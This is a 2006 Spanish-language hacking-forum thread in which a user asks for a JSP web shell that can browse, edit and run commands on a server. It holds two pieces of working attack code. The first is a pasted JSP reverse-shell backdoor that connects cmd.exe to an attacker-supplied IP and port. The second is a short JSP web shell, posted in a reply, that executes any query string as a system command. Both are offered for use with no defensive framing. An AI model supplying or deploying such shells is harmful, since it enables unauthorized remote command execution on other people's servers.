elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 05:41  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Alguien tiene una shell hecha en jsp
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Alguien tiene una shell hecha en jsp  (Leído 2,972 veces)
mikikar21

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Alguien tiene una shell hecha en jsp
« en: 10 Agosto 2006, 00:42 »

si alguien tuviera una shell que tuviera las mismas caracteristicas o similares que las que estan hechas en php asp etc que s epeude listar las carpetas ver los archivos editarlos ejecutar comandos , porfavor me lo pase o lo publique no se mucho de ese tipo de programacion gracias .
aca he conseguido uno pero no es lo que busco
Código:
// backdoor.jsp
< %@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
% >
< %!
static class StreamConnector extends Thread
{
        InputStream is;
        OutputStream os;

        StreamConnector(InputStream is, OutputStream os)
        {
                this.is = is;
                this.os = os;
        }

        public void run()
        {
                BufferedReader isr = null;
                BufferedWriter osw = null;

                try
                {
                        isr = new BufferedReader(new InputStreamReader(is));
                        osw = new BufferedWriter(new OutputStreamWriter(os));

                        char buffer[] = new char[8192];
                        int lenRead;

                        while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
                        {
                                osw.write(buffer, 0, lenRead);
                                osw.flush();
                        }
                }
                catch (Exception ioe)

                try
                {
                        if(isr != null) isr.close();
                        if(osw != null) osw.close();
                }
                catch (Exception ioe)
        }
}
% >

<h1>JSP Backdoor Reverse Shell</h1>

<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>

< %
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");

if(ipAddress != null && ipPort != null)
{
        Socket sock = null;
        try
        {
                sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());

                Runtime rt = Runtime.getRuntime();
                Process proc = rt.exec("cmd.exe");

                StreamConnector outputConnector =
                        new StreamConnector(proc.getInputStream(),
                                          sock.getOutputStream());

                StreamConnector inputConnector =
                        new StreamConnector(sock.getInputStream(),
                                          proc.getOutputStream());

                outputConnector.start();
                inputConnector.start();
        }
        catch(Exception e)
}
% >


http://www.security.org.sg/code/jspreverse.html

alguien tuviera lo que necesito porfavor ahcermelo llegar gracias
« Última modificación: 10 Agosto 2006, 01:05 por mikikar21 » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Alguien tiene una shell hecha en jsp
« Respuesta #1 en: 11 Agosto 2006, 00:46 »

Hola:
Código:
<%@ page import="java.io.*, java.net.*" %>
<%
       String queryString = request.getQueryString();

       if (queryString == null) return;

       String line;
       Process p = Runtime.getRuntime().exec(URLDecoder.decode(queryString));
       BufferedReader input = new BufferedReader(new InputStreamReader(p.getInputStream()));
       while ((line = input.readLine()) != null) {
               out.println(line);
       }
   input.close();
%>     
<form method=POST>
<input type=text name=queryString>
<input type=submit>
</form>

tampoco tiene mucho, pero es algo :P

Saludos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
De que está hecha tu bufanda?
Foro Libre
Debci 4 1,257 Último mensaje 31 Marzo 2011, 15:03
por Debci
GNOME Shell ya tiene web para sus extensiones
Noticias
wolfbcn 0 492 Último mensaje 2 Diciembre 2011, 21:58
por wolfbcn
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines